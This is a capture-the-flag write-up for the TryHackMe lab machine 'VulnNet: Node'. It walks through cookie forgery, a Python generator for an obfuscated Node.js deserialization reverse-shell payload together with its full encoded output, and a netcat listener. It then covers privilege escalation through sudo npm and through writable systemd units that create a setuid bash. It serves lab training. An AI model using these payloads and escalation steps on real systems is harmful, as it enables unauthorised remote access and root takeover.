THM Writeup – VulnNet: Node
After the previous breach, VulnNet Entertainment states it won’t happen again. Can you prove they’re wrong?
VulnNet Entertainment has moved its infrastructure and now they’re confident that no breach will happen again. You’re tasked to prove otherwise and penetrate their network.
This is again an attempt to recreate some more realistic scenario but with techniques packed into a single machine. Good luck!
Add IP address to your hosts
file:
echo '10.10.153.129 node.thm' >> /etc/hosts
Scan the target machine – find open ports first:
nmap -n -Pn -sS -p- --open -min-rate 5000 -vvv node.thm
PORT STATE SERVICE REASON
8080/tcp open http-proxy syn-ack ttl 64
Get more details about open ports:
nmap -T4 -A -p 8080 node.thm
PORT STATE SERVICE VERSION
8080/tcp open http Node.js Express framework
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: VulnNet – Your reliable news source – Try Now!
Enumeration
Explore the web application – browse to http://node.thm:8080/
I viewed the page source, but found nothing interesting, then I noticed a cookie, that looks like Base64 encoded:
Grab the cookie and paste it e.g. to the BurpSuite’s Decoder – first URL decode it and then Base64 decode it:
This looks great – a JSON that says the app what user are we – let’s try to bypass authentication completelly.
Take the JSON, modify it, Base64 encode it and finally URL encode it:
Now take the encoded text and modify the cookie via developer console, then refresh the page:
Do you see the difference? There is “WELCOME, ADMIN” instead of “WELCOME, GUEST”, however the app still asks us for credentials. Hm nevermind, I remember I did a box few weeks ago where I exploited nodejs deserialization vulnerability. This app definitely uses deserialization, otherwise how would it know we changed the cookie to be Admin? We can even prove it…
Change the cookie again, but this time set the cookie value to some gibberish (random text) and refresh the page:
Here we have the proof.
Use this script to generate a payload:
#!/usr/bin/python
# Generator for encoded NodeJS reverse shells
# Based on the NodeJS reverse shell by Evilpacket
# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)
# Insecurety Research (2013) - insecurety.net
import sys
import base64
#if len(sys.argv) != 3:
# print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])
# sys.exit(0)
IP_ADDR = sys.argv[1]
PORT = sys.argv[2]
def charencode(string):
"""String.CharCode"""
encoded = ''
for char in string:
encoded = encoded + "," + str(ord(char))
return encoded[1:]
print("[+] LHOST = " + IP_ADDR)
print("[+] LPORT = " + PORT)
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
var client = new net.Socket();
client.connect(PORT, HOST, function() {
var sh = spawn('/bin/sh',[]);
client.write("Connected!\\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
sh.on('exit',function(code,signal){
client.end("Disconnected!\\n");
});
});
client.on('error', function(e) {
setTimeout(c(HOST,PORT), TIMEOUT);
});
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print("[+] Encoding")
print("njs payload: " + NODEJS_REV_SHELL)
PAYLOAD = charencode(NODEJS_REV_SHELL)
PAYLOAD = "eval(String.fromCharCode(" + PAYLOAD + "))"
print(PAYLOAD)
PAYLOAD = '{"rce":"_$$ND_FUNC$$_function (){' + PAYLOAD + '}()"}'
print(PAYLOAD)
PAYLOAD = base64.b64encode(PAYLOAD.encode('ascii'))
print(PAYLOAD)
You can find the original script here – the above is modified version so it can be run with python3 and the output is Base64 encoded.
Save it to a file e.g. nodejsshell.py
Generate the payload:
python3 nodejsshell.py 10.10.16.113 4242
b'eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7ZXZhbChTdHJpbmcuZnJvbUNoYXJDb2RlKDEwLDExOCw5NywxMTQsMzIsMTEwLDEwMSwxMTYsMzIsNjEsMzIsMTE0LDEwMSwxMTMsMTE3LDEwNSwxMTQsMTAxLDQwLDM5LDExMCwxMDEsMTE2LDM5LDQxLDU5LDEwLDExOCw5NywxMTQsMzIsMTE1LDExMiw5NywxMTksMTEwLDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzOSw5OSwxMDQsMTA1LDEwOCwxMDAsOTUsMTEyLDExNCwxMTEsOTksMTAxLDExNSwxMTUsMzksNDEsNDYsMTE1LDExMiw5NywxMTksMTEwLDU5LDEwLDcyLDc5LDgzLDg0LDYxLDM0LDQ5LDQ4LDQ2LDQ5LDQ4LDQ2LDQ5LDU0LDQ2LDQ5LDQ5LDUxLDM0LDU5LDEwLDgwLDc5LDgyLDg0LDYxLDM0LDUyLDUwLDUyLDUwLDM0LDU5LDEwLDg0LDczLDc3LDY5LDc5LDg1LDg0LDYxLDM0LDUzLDQ4LDQ4LDQ4LDM0LDU5LDEwLDEwNSwxMDIsMzIsNDAsMTE2LDEyMSwxMTIsMTAxLDExMSwxMDIsMzIsODMsMTE2LDExNCwxMDUsMTEwLDEwMyw0NiwxMTIsMTE0LDExMSwxMTYsMTExLDExNiwxMjEsMTEyLDEwMSw0Niw5OSwxMTEsMTEwLDExNiw5NywxMDUsMTEwLDExNSwzMiw2MSw2MSw2MSwzMiwzOSwxMTcsMTEwLDEwMCwxMDEsMTAyLDEwNSwxMTAsMTAxLDEwMCwzOSw0MSwzMiwxMjMsMzIsODMsMTE2LDExNCwxMDUsMTEwLDEwMyw0NiwxMTIsMTE0LDExMSwxMTYsMTExLDExNiwxMjEsMTEyLDEwMSw0Niw5OSwxMTEsMTEwLDExNiw5NywxMDUsMTEwLDExNSwzMiw2MSwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsMTA1LDExNiw0MSwzMiwxMjMsMzIsMTE0LDEwMSwxMTYsMTE3LDExNCwxMTAsMzIsMTE2LDEwNCwxMDUsMTE1LDQ2LDEwNSwxMTAsMTAwLDEwMSwxMjAsNzksMTAyLDQwLDEwNSwxMTYsNDEsMzIsMzMsNjEsMzIsNDUsNDksNTksMzIsMTI1LDU5LDMyLDEyNSwxMCwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsMzIsOTksNDAsNzIsNzksODMsODQsNDQsODAsNzksODIsODQsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDExOCw5NywxMTQsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiwzMiw2MSwzMiwxMTAsMTAxLDExOSwzMiwxMTAsMTAxLDExNiw0Niw4MywxMTEsOTksMTA3LDEwMSwxMTYsNDAsNDEsNTksMTAsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0Niw5OSwxMTEsMTEwLDExMCwxMDEsOTksMTE2LDQwLDgwLDc5LDgyLDg0LDQ0LDMyLDcyLDc5LDgzLDg0LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCw0MSwzMiwxMjMsMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE4LDk3LDExNCwzMiwxMTUsMTA0LDMyLDYxLDMyLDExNSwxMTIsOTcsMTE5LDExMCw0MCwzOSw0Nyw5OCwxMDUsMTEwLDQ3LDExNSwxMDQsMzksNDQsOTEsOTMsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMTksMTE0LDEwNSwxMTYsMTAxLDQwLDM0LDY3LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMzQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMTIsMTA1LDExMiwxMDEsNDAsMTE1LDEwNCw0NiwxMTUsMTE2LDEwMCwxMDUsMTEwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTExLDExNywxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwNCw0NiwxMTUsMTE2LDEwMCwxMDEsMTE0LDExNCw0NiwxMTIsMTA1LDExMiwxMDEsNDAsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExMSwxMTAsNDAsMzksMTAxLDEyMCwxMDUsMTE2LDM5LDQ0LDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCw5OSwxMTEsMTAwLDEwMSw0NCwxMTUsMTA1LDEwMywxMTAsOTcsMTA4LDQxLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDEwMSwxMTAsMTAwLDQwLDM0LDY4LDEwNSwxMTUsOTksMTExLDExMCwxMTAsMTAxLDk5LDExNiwxMDEsMTAwLDMzLDkyLDExMCwzNCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTExLDExMCw0MCwzOSwxMDEsMTE0LDExNCwxMTEsMTE0LDM5LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCwxMDEsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDEsMTE2LDg0LDEwNSwxMDksMTAxLDExMSwxMTcsMTE2LDQwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDQ0LDMyLDg0LDczLDc3LDY5LDc5LDg1LDg0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwxMjUsMTAsOTksNDAsNzIsNzksODMsODQsNDQsODAsNzksODIsODQsNDEsNTksMTApKX0oKSJ9'
Copy generated payload, paste it to the BurpSuite’s Decoder and URL encode it:
Run a listener on your attacking machine:
nc -lnvp 4242
Now take the URL encoded payload, paste it as value of the cookie and refresh the page:
And we received a reverse connection – simple shell.
User flag
We need to stabilize the shell:
python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL+Z
stty raw -echo; fg ENTER ENTER
export TERM=xterm-256color
Look around a little bit:
www@vulnnet-node:~/VulnNet-Node$ ls -lA /home
total 8
drwxr-x--- 17 serv-manage serv-manage 4096 Jan 24 2021 serv-manage
drwxr-xr-x 7 www www 4096 Jan 24 2021 www
www@vulnnet-node:~/VulnNet-Node$ ls -lA /home/www
total 32
lrwxrwxrwx 1 root root 9 Jan 24 2021 .bash_history -> /dev/null
-rw-r--r-- 1 www www 220 Jan 24 2021 .bash_logout
-rw-r--r-- 1 www www 3771 Jan 24 2021 .bashrc
drwx------ 3 www www 4096 Jan 24 2021 .config
drwxrwxr-x 3 www www 4096 Jan 24 2021 .local
drwxrwxr-x 5 serv-manage serv-manage 4096 Jan 24 2021 .npm
drwxrwxr-x 5 www www 4096 Feb 7 19:04 .pm2
-rw-r--r-- 1 www www 807 Jan 24 2021 .profile
drwxr-xr-x 5 www www 4096 Jan 24 2021 VulnNet-Node
Ok, we are www
user and we are in its home directory, there is no user flag and we don’t have permissions even to look into serv-manage
‘s home directory.
Let’s try to find how to escalate our privileges:
www@vulnnet-node:~/VulnNet-Node$ sudo -l
Matching Defaults entries for www on vulnnet-node:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www may run the following commands on vulnnet-node:
(serv-manage) NOPASSWD: /usr/bin/npm
We can run npm as serv-manage
user.
Check GTFOBins how to exploit it:
Now exploit it:
www@vulnnet-node:~/VulnNet-Node$ TF=$(mktemp -d)
www@vulnnet-node:~/VulnNet-Node$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
www@vulnnet-node:~/VulnNet-Node$ chmod 777 $TF
www@vulnnet-node:~/VulnNet-Node$ sudo -u serv-manage /usr/bin/npm -C $TF --unsafe-perm i
> @ preinstall /tmp/tmp.TvrCvOCp2q
> /bin/sh
$ id
uid=1000(serv-manage) gid=1000(serv-manage) groups=1000(serv-manage)
As you can see we need to set full permissions before we run sudo npm as serv-manage
user.
Read the user flag:
$ cat user.txt
THM{[REDACTED]}
Root flag
Spawn a shell:
python3 -c 'import pty;pty.spawn("/bin/bash");'
Let’s find a privilege escalation vector to root user:
serv-manage@vulnnet-node:~$ sudo -l
Matching Defaults entries for serv-manage on vulnnet-node:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User serv-manage may run the following commands on vulnnet-node:
(root) NOPASSWD: /bin/systemctl start vulnnet-auto.timer
(root) NOPASSWD: /bin/systemctl stop vulnnet-auto.timer
(root) NOPASSWD: /bin/systemctl daemon-reload
We can start and stop vulnnet-auto.timer
service as root without password.
Find the vulnnet-auto.timer
service location and check the permissions:
serv-manage@vulnnet-node:~$ locate vulnnet-auto.timer
/etc/systemd/system/vulnnet-auto.timer
serv-manage@vulnnet-node:~$ ls -lA /etc/systemd/system/vulnnet-auto.timer
-rw-rw-r-- 1 root serv-manage 167 Jan 24 2021 /etc/systemd/system/vulnnet-auto.timer
This is great – as user serv-manage
we have write
permissions to vulnnet-auto.timer
Check the content:
serv-manage@vulnnet-node:~$ nano /etc/systemd/system/vulnnet-auto.timer
[Unit]
Description=Run VulnNet utilities every 30 min
[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/30
Unit=vulnnet-job.service
[Install]
WantedBy=basic.target
Hm, this service calls other service named vulnnet-job.service
every 30 minutes.
First we have to check if we have write permissions also to vulnnet-job.service
:
serv-manage@vulnnet-node:~$ locate vulnnet-job.service
/etc/systemd/system/vulnnet-job.service
serv-manage@vulnnet-node:~$ ls -lA /etc/systemd/system/vulnnet-job.service
-rw-rw-r-- 1 root serv-manage 197 Jan 24 2021 /etc/systemd/system/vulnnet-job.service
Great, so we’ll use this misconfigurations to escalate our privileges to root – actually it is a combination of misconfigurations:
- we can restart (start/stop) the
vulnnet-auto.timer
service - we have write permissions to both services:
vulnnet-auto.timer
andvulnnet-job.service
- we can reload the daemon (systemd files) – we need to do this after we change the services definitions
See the content of vulnnet-job.service
:
serv-manage@vulnnet-node:~$ nano /etc/systemd/system/vulnnet-job.service
[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer
[Service]
# Gather system statistics
Type=forking
ExecStart=/bin/df
[Install]
WantedBy=multi-user.target
Here we need to change ExecStart
parameter.
Ok, first change the content of vulnnet-auto.timer
:
serv-manage@vulnnet-node:~$ nano /etc/systemd/system/vulnnet-auto.timer
[Unit]
Description=Run VulnNet utilities every 30 min
[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/1
Unit=vulnnet-job.service
[Install]
WantedBy=basic.target
We change only OnCalendar
value – so the services runs every minute.
Now change the content of vulnnet-job.service
:
serv-manage@vulnnet-node:~$ nano /etc/systemd/system/vulnnet-job.service
[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer
[Service]
# Gather system statistics
Type=forking
# ExecStart=/bin/df
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/bashroot;chmod +xs /tmp/bashroot'
[Install]
WantedBy=multi-user.target
Now stop vulnnet-auto.timer
service, reload systemd files and start vulnnet-auto.timer
:
serv-manage@vulnnet-node:~$ sudo /bin/systemctl stop vulnnet-auto.timer
serv-manage@vulnnet-node:~$ sudo /bin/systemctl daemon-reload
serv-manage@vulnnet-node:~$ sudo /bin/systemctl start vulnnet-auto.timer
Wait a minute and check if /tmp/bashroot
was created.
If it was, execute and you’re root now:
serv-manage@vulnnet-node:~$ /tmp/bashroot -p
bashroot-4.4# id
uid=1000(serv-manage) gid=1000(serv-manage) euid=0(root) egid=0(root) groups=0(root),1000(serv-manage)
bashroot-4.4#
Our effective permissions are root…
Read the root flag:
bashroot-4.4# cat /root/root.txt
THM{[REDACTED]}
Do you like this writeup? Check out other THM Writeups.